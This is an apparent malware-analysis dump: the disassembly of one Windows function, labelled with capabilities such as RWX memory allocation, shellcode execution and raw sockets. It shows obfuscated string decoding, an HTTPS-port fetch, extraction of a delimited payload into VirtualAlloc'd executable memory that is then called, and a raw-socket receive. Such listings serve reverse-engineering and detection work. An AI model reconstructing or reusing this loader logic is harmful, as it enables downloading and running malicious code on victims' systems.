Function at 0x140005470
Capabilities:
Allocate or change rwx memory
Create raw socket
Execute shellcode via indirect call
Get hostname
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
push rbp
mov eax, 0x106e0
call fcn.14001d4c0
sub rsp, rax
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x105c8], 0xfffffffffffffffe
mov rax, qword [0x14002ead0]
xor rax, rbp
mov qword [rbp + 0x10690], rax
mov r8b, 1
mov dl, 0xce
mov cl, 0xa2
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x130], ax
mov r8b, 7
mov dl, 0x12
mov cl, 0x7b
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x132], ax
mov r8b, 6
mov dl, 0x63
mov cl, 0x8b
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x134], ax
mov r8b, 4
mov dl, 0x62
mov cl, 0x90
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x136], ax
mov r8b, 6
mov dl, 0x35
mov cl, 0x13
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x138], ax
mov r8b, 3
mov dl, 0xd
mov cl, 0xf0
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x13a], ax
mov r8b, 4
mov dl, 0x3a
mov cl, 0x6c
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x13c], ax
mov r8b, 4
mov dl, 0x45
mov cl, 0x75
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x13e], ax
mov r8b, 6
mov dl, 0x35
mov cl, 0xa6
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x140], ax
mov r8b, 1
mov dl, 0x7e
mov cl, 0xb7
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x142], ax
mov r8b, 7
mov dl, 0xf2
mov cl, 0xc5
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x144], ax
mov r8b, 4
mov dl, 0x80
mov cl, 0x36
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x146], ax
mov r8b, 1
mov dl, 0xae
mov cl, 0x89
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x148], ax
mov r8b, 4
mov dl, 0xc1
mov cl, 0xf1
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x14a], ax
mov r8b, 4
mov dl, 0xdb
mov cl, 0x2e
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x14c], ax
mov r8b, 2
mov dl, 0x57
mov cl, 0xcf
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x14e], ax
mov r8b, 7
mov dl, 0x24
mov cl, 0x5d
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x150], ax
mov r8b, 7
mov dl, 0xc2
mov cl, 0xb8
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x152], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x154], ax
mov r8b, 3
mov dl, 0x84
mov cl, 0xd4
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x120], ax
mov r8b, 6
mov dl, 0x4f
mov cl, 0x5c
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x122], ax
mov r8b, 2
mov dl, 0xd7
mov cl, 0x2a
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x124], ax
mov r8b, 3
mov dl, 0x24
mov cl, 0xad
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x126], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x128], ax
mov r8b, 7
mov dl, 0x3d
mov cl, 0x12
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x1d8], ax
mov r8b, 1
mov dl, 0x62
mov cl, 0xeb
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x1da], ax
mov r8b, 2
mov dl, 0x7b
mov cl, 0xba
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x1dc], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.1400028a0
movsx ax, al
mov word [rbp + 0x1de], ax
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0xf8]
call fcn.140006b90
nop
xor ecx, ecx
call fcn.140002100
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140002070
mov qword [rbp + 0x105d0], rax
mov rax, qword [rbp + 0x105d0]
mov qword [rbp + 0x105d8], rax
mov rdx, qword [rbp + 0x105d8]
lea rcx, [rbp + 0xf8]
call fcn.140006ce0
nop
lea rcx, [rbp + 8]
call fcn.140006cb0
lea rcx, [rbp + 0x260]
call fcn.140006e20
nop
lea rcx, [rbp + 0x1b8]
call fcn.140006e20
nop
lea rcx, [rbp + 0x260]
call fcn.140007070
lea rcx, [rbp + 0x1b8]
call fcn.140007070
lea rcx, [rbp + 0x260]
call fcn.140006ec0
movzx eax, al
test eax, eax
je 0x1400057ce
lea rcx, [rbp + 0x260]
call fcn.140004ca0
lea rcx, [rbp + 0x1b8]
call fcn.140006ec0
movzx eax, al
test eax, eax
je 0x1400057ed
lea rcx, [rbp + 0x1b8]
call fcn.140004e40
lea rcx, [rbp + 0x1e0]
call fcn.140006240
nop
mov qword [rbp + 0x280], 0
jmp 0x140005818
mov rax, qword [rbp + 0x280]
inc rax
mov qword [rbp + 0x280], rax
lea rcx, [rbp + 0x1b8]
call fcn.140006e90
cmp qword [rbp + 0x280], rax
jae 0x140005947
call fcn.1400053d0
mov dword [rbp + 0x298], eax
mov rdx, qword [rbp + 0x280]
lea rcx, [rbp + 0x1b8]
call fcn.140006f00
mov rcx, rax
call fcn.140006d40
mov qword [rbp + 0x290], rax
cmp qword [rbp + 0x290], 0
jne 0x140005878
mov qword [rbp + 0x105e0], 0
jmp 0x140005920
mov rcx, qword [rbp + 0x290]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
mov dword [rbp + 0x288], eax
cmp dword [rbp + 0x288], 0x3fffffff
jle 0x1400058a6
mov qword [rbp + 0x105e8], 0
jmp 0x140005912
movsxd rax, dword [rbp + 0x288]
shl rax, 1
mov qword [rbp + 0x105f0], rax
movsxd rcx, dword [rbp + 0x288]
shl rcx, 1
mov rdx, rcx
add rdx, 0xf
cmp rdx, rcx
ja 0x1400058d7
movabs rdx, 0xffffffffffffff0
and rdx, 0xfffffffffffffff0
mov rax, rdx
call fcn.14001d4c0
sub rsp, rax
lea rax, [rsp + 0x40]
mov r9d, dword [rbp + 0x298]
mov rcx, qword [rbp + 0x105f0]
mov r8d, ecx
mov rdx, qword [rbp + 0x290]
mov rcx, rax
call fcn.1400053e0
mov qword [rbp + 0x105e8], rax
mov rax, qword [rbp + 0x105e8]
mov qword [rbp + 0x105e0], rax
mov rdx, qword [rbp + 0x105e0]
lea rcx, [rbp + 0x1e0]
call fcn.1400064e0
lea rdx, [0x140028fb4]
mov rcx, rax
call fcn.1400064e0
jmp 0x140005807
mov qword [rbp + 0x2a8], 0
jmp 0x140005965
mov rax, qword [rbp + 0x2a8]
inc rax
mov qword [rbp + 0x2a8], rax
lea rcx, [rbp + 0x260]
call fcn.140006e90
cmp qword [rbp + 0x2a8], rax
jae 0x140005a94
call fcn.1400053d0
mov dword [rbp + 0x2c0], eax
mov rdx, qword [rbp + 0x2a8]
lea rcx, [rbp + 0x260]
call fcn.140006f00
mov rcx, rax
call fcn.140006d40
mov qword [rbp + 0x2b8], rax
cmp qword [rbp + 0x2b8], 0
jne 0x1400059c5
mov qword [rbp + 0x105f8], 0
jmp 0x140005a6d
mov rcx, qword [rbp + 0x2b8]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
mov dword [rbp + 0x2b0], eax
cmp dword [rbp + 0x2b0], 0x3fffffff
jle 0x1400059f3
mov qword [rbp + 0x10600], 0
jmp 0x140005a5f
movsxd rax, dword [rbp + 0x2b0]
shl rax, 1
mov qword [rbp + 0x10608], rax
movsxd rcx, dword [rbp + 0x2b0]
shl rcx, 1
mov rdx, rcx
add rdx, 0xf
cmp rdx, rcx
ja 0x140005a24
movabs rdx, 0xffffffffffffff0
and rdx, 0xfffffffffffffff0
mov rax, rdx
call fcn.14001d4c0
sub rsp, rax
lea rax, [rsp + 0x40]
mov r9d, dword [rbp + 0x2c0]
mov rcx, qword [rbp + 0x10608]
mov r8d, ecx
mov rdx, qword [rbp + 0x2b8]
mov rcx, rax
call fcn.1400053e0
mov qword [rbp + 0x10600], rax
mov rax, qword [rbp + 0x10600]
mov qword [rbp + 0x105f8], rax
mov rdx, qword [rbp + 0x105f8]
lea rcx, [rbp + 0x1e0]
call fcn.1400064e0
lea rdx, [0x140028fb8]
mov rcx, rax
call fcn.1400064e0
jmp 0x140005954
xor eax, eax
test eax, eax
jne 0x1400057fa
lea rcx, [rbp + 0x1e0]
call fcn.140006d60
mov qword [rbp + 0x10610], rax
lea rcx, [rbp + 0x1e0]
call fcn.140006560
mov rcx, qword [rbp + 0x10610]
mov r8d, ecx
mov rdx, rax
lea rcx, [rbp + 0x238]
call fcn.140002170
nop
call fcn.140005150
lea rcx, [rbp + 0x210]
call fcn.140006240
nop
mov qword [rbp + 0x2d0], 0
jmp 0x140005b07
mov rax, qword [rbp + 0x2d0]
inc rax
mov qword [rbp + 0x2d0], rax
cmp qword [rbp + 0x2d0], 5
jae 0x140005bcf
lea rcx, [rbp + 0x238]
call fcn.140006d60
mov qword [rbp + 0x10618], rax
lea rcx, [rbp + 0x238]
call fcn.140006540
mov qword [rbp + 0x10620], rax
lea rcx, [rbp + 0xf8]
call fcn.140006d40
mov rcx, qword [rbp + 0x10618]
mov dword [rsp + 0x30], ecx
mov rcx, qword [rbp + 0x10620]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x120]
mov qword [rsp + 0x20], rcx
mov r9, rax
mov r8w, 0x1bb
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x30]
call fcn.140004840
mov qword [rbp + 0x10628], rax
mov rax, qword [rbp + 0x10628]
mov qword [rbp + 0x10630], rax
mov rdx, qword [rbp + 0x10630]
lea rcx, [rbp + 0x210]
call fcn.1400063f0
nop
lea rcx, [rbp + 0x30]
call fcn.140006420
lea rcx, [rbp + 0x210]
call fcn.140006d60
cmp rax, 0x400
jbe 0x140005bca
jmp 0x140005bcf
jmp 0x140005af6
lea rcx, [rbp + 0x58]
call fcn.140003e70
mov qword [rbp + 0x10638], rax
mov rax, qword [rbp + 0x10638]
mov qword [rbp + 0x10640], rax
mov rcx, qword [rbp + 0x10640]
call fcn.140006540
mov rdx, rax
lea rcx, [rbp + 0x160]
call fcn.140006300
nop
lea rcx, [rbp + 0x58]
call fcn.140006420
lea rcx, [rbp + 0x80]
call fcn.140003f40
mov qword [rbp + 0x10648], rax
mov rax, qword [rbp + 0x10648]
mov qword [rbp + 0x10650], rax
mov rcx, qword [rbp + 0x10650]
call fcn.140006540
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.140006300
nop
lea rcx, [rbp + 0x80]
call fcn.140006420
mov r8, qword [0x140029028]
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x210]
call fcn.1400065b0
mov qword [rbp + 0x208], rax
mov r8, qword [0x140029028]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x210]
call fcn.1400065b0
mov qword [rbp + 0x188], rax
cmp qword [rbp + 0x208], 0xffffffffffffffff
je 0x140005f83
cmp qword [rbp + 0x188], 0xffffffffffffffff
je 0x140005f83
mov rax, qword [rbp + 0x208]
cmp qword [rbp + 0x188], rax
jbe 0x140005f83
lea rcx, [rbp + 0x210]
call fcn.140006540
add rax, qword [rbp + 0x208]
mov qword [rbp + 0x10658], rax
lea rcx, [rbp + 0x160]
call fcn.140006d60
mov rcx, qword [rbp + 0x10658]
add rcx, rax
mov rax, rcx
mov rdx, rax
lea rcx, [rbp + 0x210]
call fcn.140006450
mov rax, qword [rbp + 0x208]
mov rcx, qword [rbp + 0x188]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x10660], rax
lea rcx, [rbp + 0x160]
call fcn.140006d60
mov rcx, qword [rbp + 0x10660]
sub rcx, rax
mov rax, rcx
mov rdx, rax
lea rcx, [rbp + 0x210]
call fcn.140006580
lea rax, [rbp + 0x10598]
mov qword [rbp + 0x105c0], rax
lea rdx, [rbp + 0x210]
mov rcx, qword [rbp + 0x105c0]
call fcn.1400061c0
mov qword [rbp + 0x10668], rax
mov r8b, 0xff
mov rdx, qword [rbp + 0x10668]
lea rcx, [rbp + 0x2d8]
call fcn.1400026f0
nop
lea rcx, [rbp + 0x2d8]
call fcn.140006d60
add rax, 0x29a
mov dword [rbp + 0x300], eax
mov eax, dword [rbp + 0x300]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x308], rax
cmp qword [rbp + 0x308], 0
je 0x140005f77
mov qword [rbp + 0x310], 0
jmp 0x140005df8
mov rax, qword [rbp + 0x310]
inc rax
mov qword [rbp + 0x310], rax
mov eax, dword [rbp + 0x300]
cmp qword [rbp + 0x310], rax
jae 0x140005e27
mov rax, qword [rbp + 0x310]
mov rcx, qword [rbp + 0x308]
add rcx, rax
mov rax, rcx
movzx ecx, byte [rbp + 0x310]
lock or byte [rax], cl
jmp 0x140005de7
mov qword [rbp + 0x318], 0
jmp 0x140005e45
mov rax, qword [rbp + 0x318]
inc rax
mov qword [rbp + 0x318], rax
mov eax, dword [rbp + 0x300]
cmp qword [rbp + 0x318], rax
jae 0x140005e6e
mov rax, qword [rbp + 0x318]
mov rcx, qword [rbp + 0x308]
add rcx, rax
mov rax, rcx
lock and byte [rax], 0
jmp 0x140005e34
mov qword [rbp + 0x320], 0
jmp 0x140005e8c
mov rax, qword [rbp + 0x320]
inc rax
mov qword [rbp + 0x320], rax
lea rcx, [rbp + 0x2d8]
call fcn.140006d60
cmp qword [rbp + 0x320], rax
jae 0x140005ecf
mov rdx, qword [rbp + 0x320]
lea rcx, [rbp + 0x2d8]
call fcn.140006510
mov rcx, qword [rbp + 0x320]
mov rdx, qword [rbp + 0x308]
add rdx, rcx
mov rcx, rdx
movzx eax, byte [rax]
xchg byte [rcx], al
jmp 0x140005e7b
lea rcx, [rbp + 0xa8]
call fcn.140004010
mov qword [rbp + 0x10670], rax
mov rax, qword [rbp + 0x10670]
mov qword [rbp + 0x10678], rax
lea rcx, [rbp + 0xd0]
call fcn.140002b30
mov qword [rbp + 0x10680], rax
mov rcx, qword [rbp + 0x10678]
call fcn.140006540
mov qword [rbp + 0x10688], rax
mov rcx, qword [rbp + 0x10680]
call fcn.140006d40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, qword [rbp + 0x10688]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x328], rax
lea rcx, [rbp + 0xd0]
call fcn.140006cb0
nop
lea rcx, [rbp + 0xa8]
call fcn.140006420
xor edx, edx
mov rcx, qword [rbp + 0x308]
call qword [rbp + 0x328]
xor eax, eax
test eax, eax
jne 0x140005ecf
lea rcx, [rbp + 0x2d8]
call fcn.140006420
mov dword [rbp + 0x158], 0
cmp qword [rbp + 0x208], 0xffffffffffffffff
je 0x140006132
cmp qword [rbp + 0x188], 0xffffffffffffffff
je 0x140006132
mov eax, 0x202
mov word [rbp + 0x4d0], ax
lea rdx, [rbp + 0x330]
movzx ecx, word [rbp + 0x4d0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rbp + 0x4d4], eax
cmp dword [rbp + 0x4d4], 0
je 0x140005fdd
jmp 0x14000612b
xor r8d, r8d
mov edx, 3
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x4d8], rax
mov edx, 0x80
lea rcx, [rbp + 0x500]
call qword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
jne 0x14000602b
mov rcx, qword [rbp + 0x4d8]
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0xffffffff
call fcn.1400112b4
nop
jmp 0x14000612b
lea rcx, [rbp + 0x500]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rbp + 0x4e0], rax
mov rax, qword [rbp + 0x4e0]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov eax, dword [rax]
mov dword [rbp + 0x4ec], eax
mov eax, 2
mov word [rbp + 0x4e8], ax
mov cx, 0x22b8
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x4ea], ax
mov r8d, 0x10
lea rdx, [rbp + 0x4e8]
mov rcx, qword [rbp + 0x4d8]
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x1400060cf
mov rcx, qword [rbp + 0x4d8]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rdx, qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rcx, [0x14002e330]
call fcn.1400066e0
lea rdx, [0x140002040]
mov rcx, rax
call fcn.1400066c0
call fcn.140011314
mov ecx, 0xffffffff
call fcn.1400112b4
mov dword [rbp + 0x580], 1
mov dword [rbp + 0x10590], 0
mov dword [rbp + 0x584], 0
mov edx, 5
mov rcx, qword [rbp + 0x4d8]
call qword [sym.imp.WS2_32.dll_listen]
xor r9d, r9d
mov r8d, 0xffff
lea rdx, [rbp + 0x590]
mov rcx, qword [rbp + 0x4d8]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 0x584], eax
cmp dword [rbp + 0x584], 0
jg 0x1400060ff
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
lea rcx, [rbp + 0x190]
call fcn.140006420
nop
lea rcx, [rbp + 0x160]
call fcn.140006420
nop
lea rcx, [rbp + 0x210]
call fcn.140006420
nop
lea rcx, [rbp + 0x238]
call fcn.140006420
nop
lea rcx, [rbp + 0x1e0]
call fcn.140006420
nop
lea rcx, [rbp + 0x1b8]
call fcn.140006e60
nop
lea rcx, [rbp + 0x260]
call fcn.140006e60
nop
lea rcx, [rbp + 0xf8]
call fcn.140006cb0
jmp 0x14000619d
xor eax, eax
mov rcx, qword [rbp + 0x10690]
xor rcx, rbp
call fcn.14000ff80
lea rsp, [rbp + 0x106a0]
pop rbp
ret